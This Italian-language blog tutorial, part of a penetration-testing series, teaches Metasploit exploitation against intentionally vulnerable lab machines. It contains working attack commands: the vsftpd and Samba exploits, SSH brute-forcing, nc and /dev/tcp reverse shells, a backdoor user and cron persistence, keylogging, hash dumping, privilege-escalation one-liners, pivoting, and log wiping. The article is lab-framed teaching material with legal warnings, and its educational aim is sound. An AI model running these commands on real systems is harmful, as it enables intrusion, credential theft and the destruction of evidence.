Menu
Chi sono Servizi Percorso Lavora con me
Cybersecurity concept visualization
Sicurezza Mar 8, 2026 • 28 min di lettura

Exploitation: From Vulnerability to Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Condividi:
Lee Foropoulos

Lee Foropoulos

28 min di lettura

Il Percorso dell'Hacker: Serie in 5 Parti

Parte 1: IntroduzioneParte 2: Padronanza del FlipperParte 3: Fondamenti di KaliParte 4: ExploitationParte 5: L'Audit Completo

Nelle Parti 1-3, avete costruito il vostro toolkit. Potete clonare badge, mappare reti, catturare handshake e identificare ogni servizio in esecuzione su un bersaglio. Vedete vulnerabilità ovunque ormai. Ma vedere una vulnerabilità e sfruttarla sono competenze molto diverse.

Qui le cose diventano serie. Oggi imparerete a usare il Metasploit Framework, lo stesso strumento utilizzato dai penetration tester professionisti in tutto il mondo. Sfrutterete la vostra prima vulnerabilità, stabilirete persistence, escalerete i privilegi e imparerete a fare pivot attraverso una rete.

La Linea che Non Devi Oltrepassare

Tutto in questo articolo deve essere praticato su sistemi che possedete o per cui avete esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato federale con pene fino a 20 anni di reclusione. "Stavo solo imparando" non è una difesa. Costruite un laboratorio, usate VM intenzionalmente vulnerabili e non toccate mai sistemi che non vi appartengono.

Parte 1: Costruire il Laboratorio d'Attacco

Prima di sfruttare qualsiasi cosa, avete bisogno di bersagli. I veri penetration tester usano ambienti di laboratorio isolati con macchine intenzionalmente vulnerabili. Farete lo stesso.

La Configurazione Essenziale del Laboratorio

Di Cosa Avrete Bisogno

  • Kali Linux VM - La vostra macchina d'attacco (dalla Parte 3)
  • Metasploitable 2 - VM Linux intenzionalmente vulnerabile (SourceForge)
  • Metasploitable 3 - VM vulnerabile Windows/Linux (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Macchine vulnerabili in stile CTF (vulnhub.com)

Progetto: Configurazione della Rete del Laboratorio

Tempo: 45 minuti

  1. Scaricate Metasploitable 2 da SourceForge
  2. Importatelo in VirtualBox/VMware
  3. Configurate la rete: Impostate sia Kali che Metasploitable su "Host-Only" o "Internal Network"
  4. Avviate Metasploitable (login predefinito: msfadmin / msfadmin)
  5. Annotate l'indirizzo IP: ifconfig
  6. Da Kali, verificate la connettività: ping METASPLOITABLE_IP
  7. Eseguite la scansione iniziale: sudo nmap -sV -sC METASPLOITABLE_IP

Verifica: Dovreste vedere decine di porte aperte. Metasploitable è progettato per essere compromesso.

La vostra scansione nmap di Metasploitable dovrebbe rivelare servizi come FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e altri, molti dei quali eseguono versioni obsolete e vulnerabili. Questo è il vostro campo di gioco.

Parte 2: Fondamenti del Metasploit Framework

Metasploit non è solo uno strumento. È un ecosistema. Contiene migliaia di exploit, payload, moduli ausiliari e strumenti di post-exploitation. Comprenderne la struttura è essenziale.

4,000+
Moduli exploit disponibili nel Metasploit Framework, che coprono ogni piattaforma principale e classe di vulnerabilità.

Avvio di Metasploit

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

La Struttura di Metasploit

Metasploit organizza tutto in moduli:

  • Exploits - Codice che sfrutta le vulnerabilità
  • Payloads - Codice che viene eseguito dopo l'exploitation (shell, meterpreter)
  • Auxiliary - Scanner, fuzzer e altre utility
  • Post - Moduli di post-exploitation per persistence, pivoting
  • Encoders - Offuscamento dei payload per evadere il rilevamento
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

Il Flusso di Lavoro dell'Exploitation

Ogni exploitation in Metasploit segue lo stesso schema:

  1. Selezionate un exploit - use exploit/path/to/module
  2. Impostate le opzioni - IP del bersaglio, porte, credenziali
  3. Selezionate un payload - Cosa viene eseguito dopo l'exploitation
  4. Eseguite - exploit o run
Cybersecurity operations with code on multiple screens
Il Metasploit Framework fornisce un approccio strutturato all'exploitation, trasformando la ricerca sulle vulnerabilità in flussi di lavoro professionali e ripetibili.

Parte 3: Il Vostro Primo Exploit

Sfruttiamo una delle backdoor più famose della storia: la backdoor vsftpd 2.3.4. Nel 2011, qualcuno ha inserito una backdoor nel codice sorgente di vsftpd. Se inviate un nome utente che termina con :), si apre una shell sulla porta 6200.

Metasploitable 2 esegue esattamente questa versione.

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

Ecco fatto. Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.

Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.

Progetto: Sfruttare la Backdoor vsftpd

Tempo: 15 minuti

Prerequisiti: Metasploitable 2 in esecuzione, Kali sulla stessa rete

  1. Verificate che FTP sia in esecuzione: nmap -sV -p 21 TARGET_IP
  2. Avviate msfconsole
  3. Cercate, selezionate e configurate l'exploit vsftpd
  4. Eseguite l'exploit
  5. Una volta ottenuta la shell, esplorate: cat /etc/shadow

Criteri di successo: Potete leggere /etc/shadow, accessibile solo da root.

Parte 4: Comprendere i Payloads

Un payload è ciò che viene eseguito dopo il successo dell'exploit. La shell base che abbiamo ottenuto sopra è semplice, ma Metasploit offre opzioni molto più potenti.

Tipi di Payload

  • Singles - Payload autonomi, a colpo singolo (aggiunta utente, esecuzione comando)
  • Stagers - Piccoli payload che stabiliscono una connessione, poi scaricano il payload principale
  • Stages - Il payload principale scaricato dallo stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse vs Bind Shell

  • Reverse shell - Il bersaglio si riconnette a voi. Migliore per aggirare i firewall (il traffico in uscita è generalmente permesso).
  • Bind shell - Il bersaglio apre una porta a cui vi connettete. Più facile da rilevare, spesso bloccato dai firewall.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter: Il Payload Definitivo

Meterpreter è il payload più potente di Metasploit. Viene eseguito interamente in memoria (nessun file su disco), fornisce comunicazione crittografata e include decine di comandi integrati per il post-exploitation.

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

Parte 5: Altre Tecniche di Exploitation

Sfruttare Samba (SMB)

Metasploitable 2 esegue una versione vulnerabile di Samba. Questo è simile al famigerato exploit EternalBlue usato in WannaCry.

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

Sfruttare Credenziali Deboli

Non ogni compromissione richiede una vulnerabilità software. Le password deboli sono ovunque.

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation di Applicazioni Web

Metasploitable include diverse applicazioni web vulnerabili. Sfruttiamo una PHP code injection.

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

Progetto: Sfruttare Tre Servizi Diversi

Tempo: 60 minuti

Bersaglio: Metasploitable 2

  1. Sfruttate la backdoor vsftpd (FTP - porta 21) e ottenete una root shell
  2. Sfruttate Samba usermap_script (SMB - porta 139/445) e ottenete una root shell
  3. Crackate le credenziali SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
  4. Documentate ogni exploitation: modulo usato, opzioni impostate, risultato

Bonus: Esplorate le applicazioni web sulla porta 80 e trovate vettori di exploitation manuali.

Parte 6: Post-Exploitation

Ottenere una shell è solo l'inizio. I veri penetration test richiedono di dimostrare cosa potrebbe fare un attaccante con quell'accesso. Questo è il post-exploitation.

Raccolta Informazioni

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

Raccolta Credenziali

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Stabilire la Persistence

Persistence significa mantenere l'accesso anche dopo riavvii o quando il vettore d'attacco iniziale è stato corretto.

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = Prove

Ogni meccanismo di persistence lascia tracce. In un vero penetration test, documentate cosa potreste fare, poi ripulite. Lasciare backdoor sui sistemi dei clienti è poco professionale e potenzialmente illegale. Nel vostro laboratorio, sbizzarritevi, ma comprendete le implicazioni.

Parte 7: Escalation dei Privilegi

Spesso si ottiene l'accesso iniziale come utente con bassi privilegi. L'escalation a root/admin è generalmente necessaria per raggiungere gli obiettivi del test.

Escalation dei Privilegi su Linux

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Script di Enumerazione Automatizzati

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

Vettori Comuni di Privesc su Linux

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Escalation dei Privilegi su Windows

Se state testando bersagli Windows (Metasploitable 3), le tecniche sono diverse:

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

Progetto: Escalation da Utente a Root

Tempo: 45 minuti

Scenario: Avete accesso SSH a Metasploitable come msfadmin (non root)

  1. SSH a Metasploitable: ssh msfadmin@TARGET
  2. Eseguite id per confermare che non siete root
  3. Controllate i permessi sudo: sudo -l
  4. Cercate binari SUID: find / -perm -4000 2>/dev/null
  5. Caricate ed eseguite LinPEAS
  6. Identificate un vettore di privesc e sfruttatelo

Obiettivo: Ottenere una root shell usando qualcosa di diverso dallo sfruttamento di un servizio di rete.

Hacker working on code in a dark environment
L'escalation dei privilegi trasforma un accesso limitato nel controllo completo del sistema, spesso attraverso configurazioni errate trascurate piuttosto che exploit sofisticati.

Parte 8: Pivoting

Il pivoting è l'uso di un sistema compromesso per attaccare altri sistemi che non sono direttamente raggiungibili dalla vostra macchina d'attacco. È così che gli attaccanti si muovono lateralmente attraverso le reti.

Lo Scenario di Pivot

Immaginate questa rete:

  • Il vostro Kali: 192.168.1.100
  • Host compromesso: 192.168.1.50 (connesso anche alla rete interna 10.0.0.0/24)
  • Bersaglio: 10.0.0.10 (raggiungibile solo da 192.168.1.50)

Non potete raggiungere 10.0.0.10 direttamente. Ma attraverso l'host compromesso, potete.

Routing Metasploit

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

SOCKS Proxy per Accesso Completo

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

SSH Tunneling (Senza Metasploit)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Coprire le Tracce

I penetration tester professionisti documentano il loro accesso ma ripuliscono dopo. Capire come gli attaccanti coprono le tracce aiuta anche a rilevare le intrusioni.

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

Negli Incarichi Reali: Non Fatelo

I pentester professionisti documentano il loro accesso e riportano le loro scoperte. Non le nascondono. Cancellare i log distrugge prove di cui i difensori hanno bisogno per comprendere il percorso d'attacco. Praticate queste tecniche solo nel vostro ambiente di laboratorio isolato.

Il Percorso dell'Hacker

Una serie in 5 parti che vi porta da curiosi a capaci.

Parte 1: Introduzione Parte 2: Padronanza del Flipper Parte 3: Fondamenti di Kali Parte 4: Exploitation ✓ Parte 5: Audit Completo

Checklist della Parte 4

☐ Setup Laboratorio: Metasploitable 2 in esecuzione, rete isolata configurata

☐ Metasploit: Database inizializzato, navigazione base padroneggiata

☐ Primo Exploit: Backdoor vsftpd sfruttata, root shell ottenuta

☐ Vettori Multipli: FTP, SMB sfruttati e credenziali SSH crackate

☐ Post-Exploitation: Hash delle password estratti, sistema enumerato

☐ Escalation Privilegi: Escalation da utente a root senza exploit di rete

☐ Pivoting: Comprensione dei concetti autoroute e SOCKS proxy

☐ Documentazione: Tutti gli exploit documentati con passaggi e prove

Piano d'Azione per le Competenze di Exploitation 0/5

Cosa Viene Dopo

Avete imparato a sfruttare vulnerabilità, escalare privilegi e fare pivot attraverso le reti. Avete visto quanto velocemente una singola debolezza diventa una compromissione totale. Capite cosa fanno i penetration tester professionisti.

Nella Parte 5, mettiamo tutto insieme. Condurrete un audit di sicurezza completo dall'inizio alla fine:

  • Ambito e regole di ingaggio
  • Metodologia completa di ricognizione
  • Exploitation sistematico
  • Post-exploitation completo
  • Reportistica professionale
  • Raccomandazioni per la remediation

La Parte 5 è il coronamento. Tutto ciò che avete imparato in questa serie si unisce in una metodologia del mondo reale che potete usare per valutare la sicurezza di qualsiasi rete siate autorizzati a testare.

Avete imparato le tecniche. Ora imparate la metodologia. La Parte 5 trasforma le competenze in un flusso di lavoro completo di penetration testing.

Ci vediamo nella Parte 5.

How was this article?

Condividi

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Non perdere nessun articolo

Ricevi una notifica quando vengono pubblicati nuovi articoli. Nessuna email richiesta.

Vedrai un banner sul sito quando viene pubblicato un nuovo articolo, oltre a una notifica del browser se lo consenti.

Solo notifiche del browser. Niente spam, niente email.